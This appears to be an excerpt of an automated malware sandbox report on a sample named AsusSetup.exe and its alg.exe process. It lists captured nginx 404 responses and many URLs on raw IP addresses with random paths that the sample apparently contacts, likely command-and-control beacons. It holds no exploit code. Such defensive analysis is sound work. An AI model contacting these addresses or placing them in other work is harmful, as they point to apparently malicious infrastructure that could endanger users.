Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.2Date: Mon, 28 Oct 2024 15:51:26 GMTTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:51:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:51:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:51:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: alg.exe, 00000003.00000003.2725026412.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/
Source: alg.exe, 00000003.00000003.2725026412.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/b
Source: alg.exe, 00000003.00000003.2628578361.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/b8
Source: alg.exe, 00000003.00000003.2628578361.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/ubadvhdsrbjcmaql
Source: alg.exe, 00000003.00000003.2725026412.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/vo
Source: alg.exe, 00000003.00000003.2725026412.0000000000596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/vvo
Source: alg.exe, 00000003.00000003.2628578361.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2637723512.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150:80/ubaevhdsrbjcmaqls
Source: alg.exe, 00000003.00000003.2725026412.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2734599445.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150:80/vvo
Source: alg.exe, 00000003.00000003.2671636939.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/
Source: alg.exe, 00000003.00000003.2683846196.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2671636939.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/s
Source: alg.exe, 00000003.00000003.2671636939.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/sd
Source: alg.exe, 00000003.00000003.2224451831.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2247222362.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/agsaomftijmP
Source: alg.exe, 00000003.00000003.2671636939.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/ckdrshko
Source: alg.exe, 00000003.00000003.2247222362.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/hogxps
Source: alg.exe, 00000003.00000003.2671636939.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/ofmvo
Source: alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/
Source: AsusSetup.exe, 00000000.00000003.2202574488.00000000004ED000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.00000000004F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/LF
Source: alg.exe, 00000003.00000003.2655317919.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/bs
Source: alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/ewf
Source: alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/ewfngsi
Source: alg.exe, 00000003.00000003.2655317919.0000000000596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/kb
Source: alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/ngs
Source: AsusSetup.exe, 00000000.00000003.2202574488.00000000004ED000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.00000000004F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/w
Source: alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/wf
Source: alg.exe, 00000003.00000003.2882783390.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/ewf
Source: alg.exe, 00000003.00000003.2247222362.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/suoyjqbsciv-
Source: AsusSetup.exe, 00000000.00000002.2472059916.0000000000540000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000003.2202574488.0000000000540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/wL
Source: alg.exe, 00000003.00000003.2850603674.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2693383096.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2903488909.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/
Source: alg.exe, 00000003.00000003.2693383096.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/(
Source: alg.exe, 00000003.00000003.2903488909.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/gs
Source: alg.exe, 00000003.00000003.2850603674.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/lre
Source: alg.exe, 00000003.00000003.2850603674.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2850603674.0000000000596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/tlre
Source: alg.exe, 00000003.00000003.2850603674.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/tlremings
Source: alg.exe, 00000003.00000003.2903488909.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/yqjotihouwfthlkr
Source: alg.exe, 00000003.00000003.2693383096.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248:80/p
Source: alg.exe, 00000003.00000003.2850603674.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248:80/tlre
Source: alg.exe, 00000003.00000003.2903488909.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248:80/yqjotihouwfthlkr
Source: alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.246.231.120/
Source: alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.246.231.120/gs
Source: alg.exe, 00000003.00000003.2894777095.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.246.231.120/vdqmhlkrsphqhe
Source: alg.exe, 00000003.00000003.2903488909.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.246.231.120:80/vdqmhlkrsphqhepjZ
Source: alg.exe, 00000003.00000003.2704536498.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/
Source: alg.exe, 00000003.00000003.2704536498.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/(
Source: alg.exe, 00000003.00000003.2799410403.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2813451839.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/arqypullvoovtlD
Source: alg.exe, 00000003.00000003.2792457959.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/dovasmbpdbys
Source: alg.exe, 00000003.00000003.2764371379.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745295044.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2703850793.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2756590445.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2765126800.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2733658174.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2778124270.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2789296981.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2724178578.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2790012087.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/hrtvnxyfpkjys
Source: alg.exe, 00000003.00000003.2764371379.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745295044.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2756590445.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2765126800.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2733658174.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2778124270.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2792457959.00000000005F3000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2789296981.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2790012087.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/pubppqcmfqvto
Source: alg.exe, 00000003.00000003.2703850793.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2724178578.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/pubppqcmfqvtod
Source: alg.exe, 00000003.00000003.2704536498.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245:80/hrtvnxyfpkjy5
Source: alg.exe, 00000003.00000003.2704536498.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2725026412.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245:80/pubppqcmfqvto
Source: alg.exe, 00000003.00000003.2823223980.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2841048769.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2894777095.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2865815201.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2852591845.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2813451839.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2882002918.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.211.97.45/qtybvvfgdyqy
Source: alg.exe, 00000003.00000003.2683846196.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160/
Source: alg.exe, 00000003.00000003.2683846196.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160/gs
Source: alg.exe, 00000003.00000003.2764371379.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745295044.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2703850793.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2756590445.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2765126800.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2733658174.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2682947456.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2692633420.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2683846196.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2778124270.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2792457959.00000000005F3000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2789296981.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2724178578.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2790012087.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160/qearwetpmwvhvwhi
Source: alg.exe, 00000003.00000003.2683846196.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160:80/qearwetpmwvhvwhi
Source: alg.exe, 00000003.00000003.2755453879.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://35.164.78.200/
Source: alg.exe, 00000003.00000003.2755453879.0000000000596000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2755453879.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://35.164.78.200/oekfiuj
Source: alg.exe, 00000003.00000003.2755453879.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://35.164.78.200/oekfiujings8
Source: alg.exe, 00000003.00000003.2755453879.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://35.164.78.200:80/oekfiuj
Source: AsusSetup.exe, 00000000.00000003.2202574488.0000000000508000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2734599445.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745895344.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2755453879.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2864295525.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/
Source: alg.exe, 00000003.00000003.2864295525.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/bs
Source: alg.exe, 00000003.00000003.2637723512.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/d
Source: alg.exe, 00000003.00000003.2864295525.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/j
Source: alg.exe, 00000003.00000003.2734599445.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/l
Source: AsusSetup.exe, 00000000.00000003.2202574488.0000000000518000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/ngs
Source: alg.exe, 00000003.00000003.2864295525.0000000000596000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2864295525.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/tj
Source: alg.exe, 00000003.00000003.2864295525.0000000000596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/tjf
Source: AsusSetup.exe, 00000000.00000003.2203124475.0000000004D8D000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000003.2202574488.00000000004ED000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2476390228.0000000004D8E000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.00000000004F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/vicdeig
Source: AsusSetup.exe, 00000000.00000003.2203124475.0000000004D8D000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2476390228.0000000004D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/vicdeigings
Source: alg.exe, 00000003.00000003.2224451831.000000000059B000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2216657614.000000000059A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/wurutvkart
Source: alg.exe, 00000003.00000003.2637723512.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/yeb
Source: alg.exe, 00000003.00000003.2734599445.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/ql0
Source: alg.exe, 00000003.00000003.2864295525.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/tj7fZ
Source: AsusSetup.exe, 00000000.00000002.2472059916.0000000000540000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000003.2202574488.0000000000540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/vicdeigd
Source: alg.exe, 00000003.00000003.2224451831.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2247222362.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2216657614.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/wurutvkart
Source: alg.exe, 00000003.00000003.2704536498.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2725026412.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2671636939.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2655317919.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2693383096.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2683846196.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2637723512.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/yeb
Source: alg.exe, 00000003.00000003.2610742112.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/PbW
Source: alg.exe, 00000003.00000003.2610742112.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/len
Source: alg.exe, 00000003.00000003.2610742112.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212:80/lencrobat
